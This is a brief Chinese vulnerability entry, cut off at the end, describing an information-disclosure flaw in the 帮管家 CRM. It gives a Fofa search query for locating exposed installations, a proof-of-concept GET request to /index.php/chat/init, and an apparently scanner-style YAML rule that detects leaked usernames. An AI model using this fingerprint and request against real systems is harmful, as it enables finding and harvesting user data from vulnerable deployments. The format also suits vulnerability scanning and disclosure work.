1.简介
帮管客云在线免费CRM客户管理系统专注于为企业提供crm客户关系管理、crm管理系统.
帮管家 CRM init 存在信息泄露漏洞。
2.Fofa
body:"themes/default/css/llq.css"
3.漏洞复现
POC:
http://1.1.1.1/index.php/chat/init
执行POC
4.YAML
params: []
name: 帮管家 CRM init 信息泄露漏洞
set: {}
rules: []
groups:
rules:
- method: GET
path: /index.php/chat/init
headers: {}
body: ""
search: ""
followredirects: false
expression: 'response.status == 302 && response.body.bcontains(b"username") &&
respo